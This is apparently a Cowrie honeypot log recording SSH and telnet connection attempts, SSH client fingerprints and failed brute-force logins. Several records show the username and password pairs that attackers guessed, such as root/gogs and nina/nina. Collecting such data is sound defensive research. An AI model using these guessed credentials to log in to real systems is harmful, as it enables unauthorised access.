{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:42.685645Z","src_ip":"43.153.104.156","session":"26ff7b44b62c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59380,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7014a738f67","protocol":"telnet","message":"New connection: 192.119.13.58:59380 (10.17.0.5:23) [session: d7014a738f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:42.884961Z"}
{"eventid":"cowrie.session.closed","duration":44.23723912239075,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:47.268259Z","src_ip":"192.119.13.58","session":"b8fc56b1eba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53476,"dst_ip":"10.17.0.5","dst_port":23,"session":"557b434632d5","protocol":"telnet","message":"New connection: 192.119.13.58:53476 (10.17.0.5:23) [session: 557b434632d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:49.137068Z"}
{"eventid":"cowrie.session.closed","duration":35.17040252685547,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:49.719001Z","src_ip":"192.119.13.58","session":"a2d9ff69e130","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56126,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eeabb7cf1fd","protocol":"telnet","message":"New connection: 192.119.13.58:56126 (10.17.0.5:23) [session: 9eeabb7cf1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:49.885497Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45132,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfc1d4fd031","protocol":"telnet","message":"New connection: 192.119.13.58:45132 (10.17.0.5:23) [session: 9dfc1d4fd031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:02.377172Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34116,"dst_ip":"10.17.0.5","dst_port":23,"session":"889897231c55","protocol":"telnet","message":"New connection: 192.119.13.58:34116 (10.17.0.5:23) [session: 889897231c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:07.162329Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58472,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ec2b4459f47","protocol":"telnet","message":"New connection: 192.119.13.58:58472 (10.17.0.5:23) [session: 2ec2b4459f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:13.515135Z"}
{"eventid":"cowrie.session.closed","duration":49.46789860725403,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:22.949147Z","src_ip":"192.119.13.58","session":"8eff126572f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38716,"dst_ip":"10.17.0.5","dst_port":23,"session":"5afa21e6a176","protocol":"telnet","message":"New connection: 192.119.13.58:38716 (10.17.0.5:23) [session: 5afa21e6a176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:23.160654Z"}
{"eventid":"cowrie.session.closed","duration":34.58143091201782,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:24.466811Z","src_ip":"192.119.13.58","session":"9eeabb7cf1fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.346179485321045,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:25.231040Z","src_ip":"192.119.13.58","session":"d7014a738f67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44380,"dst_ip":"10.17.0.5","dst_port":23,"session":"c518ee3ce4c6","protocol":"telnet","message":"New connection: 192.119.13.58:44380 (10.17.0.5:23) [session: c518ee3ce4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:25.628289Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54526,"dst_ip":"10.17.0.5","dst_port":22,"session":"b296c96a5baa","protocol":"ssh","message":"New connection: 80.94.92.184:54526 (10.17.0.5:22) [session: b296c96a5baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:26.392122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:26.516667Z","src_ip":"80.94.92.184","session":"b296c96a5baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:26.520621Z","src_ip":"80.94.92.184","session":"b296c96a5baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58946,"dst_ip":"10.17.0.5","dst_port":23,"session":"8449b372417b","protocol":"telnet","message":"New connection: 192.119.13.58:58946 (10.17.0.5:23) [session: 8449b372417b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:28.153896Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:28.291631Z","src_ip":"80.94.92.184","session":"b296c96a5baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34528,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d4486c2dc2","protocol":"telnet","message":"New connection: 192.119.13.58:34528 (10.17.0.5:23) [session: a6d4486c2dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:29.096486Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:29.433099Z","src_ip":"80.94.92.184","session":"b296c96a5baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":44070,"dst_ip":"159.203.135.109","dst_port":22,"session":"133363637fa3","protocol":"ssh","message":"New connection: 43.135.129.144:44070 (159.203.135.109:22) [session: 133363637fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:30.377637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:30.383114Z","src_ip":"43.135.129.144","session":"133363637fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:30.452876Z","src_ip":"43.135.129.144","session":"133363637fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gogs","message":"login attempt [root/gogs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:30.763480Z","src_ip":"43.135.129.144","session":"133363637fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:31.836393Z","src_ip":"43.135.129.144","session":"133363637fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.766005754470825,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:34.902993Z","src_ip":"192.119.13.58","session":"557b434632d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57630,"dst_ip":"10.17.0.5","dst_port":23,"session":"48fe43179ef8","protocol":"telnet","message":"New connection: 192.119.13.58:57630 (10.17.0.5:23) [session: 48fe43179ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:35.112716Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58698,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c88a7ce1eb6","protocol":"telnet","message":"New connection: 192.119.13.58:58698 (10.17.0.5:23) [session: 3c88a7ce1eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:35.364820Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:37.263727Z","src_ip":"103.210.22.17","session":"119f6160e960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43734,"dst_ip":"10.17.0.5","dst_port":23,"session":"04bf5f2695ed","protocol":"telnet","message":"New connection: 192.119.13.58:43734 (10.17.0.5:23) [session: 04bf5f2695ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:38.790803Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":60234,"dst_ip":"159.203.135.109","dst_port":22,"session":"17942e8d8482","protocol":"ssh","message":"New connection: 103.166.103.173:60234 (159.203.135.109:22) [session: 17942e8d8482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:39.687737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:39.693209Z","src_ip":"103.166.103.173","session":"17942e8d8482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:39.941023Z","src_ip":"103.166.103.173","session":"17942e8d8482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elsje","message":"login attempt [root/elsje] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:40.967550Z","src_ip":"103.166.103.173","session":"17942e8d8482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.6658833026886,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:42.042922Z","src_ip":"192.119.13.58","session":"9dfc1d4fd031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:42.219095Z","src_ip":"103.166.103.173","session":"17942e8d8482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6367316246032715,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:42.427397Z","src_ip":"192.119.13.58","session":"04bf5f2695ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":33752,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aad3c083518","protocol":"ssh","message":"New connection: 43.135.182.46:33752 (159.203.135.109:22) [session: 1aad3c083518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:43.974025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:43.977974Z","src_ip":"43.135.182.46","session":"1aad3c083518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:44.049111Z","src_ip":"43.135.182.46","session":"1aad3c083518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rasplex","message":"login attempt [root/rasplex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:44.356915Z","src_ip":"43.135.182.46","session":"1aad3c083518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:45.429339Z","src_ip":"43.135.182.46","session":"1aad3c083518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46430,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0a91416daf8","protocol":"telnet","message":"New connection: 192.119.13.58:46430 (10.17.0.5:23) [session: b0a91416daf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:46.986571Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":36752,"dst_ip":"10.17.0.5","dst_port":22,"session":"8384240f17cd","protocol":"ssh","message":"New connection: 43.153.104.156:36752 (10.17.0.5:22) [session: 8384240f17cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:48.710237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:48.715644Z","src_ip":"43.153.104.156","session":"8384240f17cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:48.784075Z","src_ip":"43.153.104.156","session":"8384240f17cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nina","password":"nina","message":"login attempt [nina/nina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:49.084861Z","src_ip":"43.153.104.156","session":"8384240f17cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:50.155697Z","src_ip":"43.153.104.156","session":"8384240f17cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":53149,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d75fce4f94","protocol":"telnet","message":"New connection: 186.195.16.41:53149 (159.203.135.109:23) [session: 46d75fce4f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:50.250556Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":56984,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c058385aee8","protocol":"ssh","message":"New connection: 103.27.238.120:56984 (159.203.135.109:22) [session: 3c058385aee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:56.981570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:56.986975Z","src_ip":"103.27.238.120","session":"3c058385aee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:57.248001Z","src_ip":"103.27.238.120","session":"3c058385aee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.54927182197571,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:57.711441Z","src_ip":"192.119.13.58","session":"889897231c55","protocol":"telnet"}
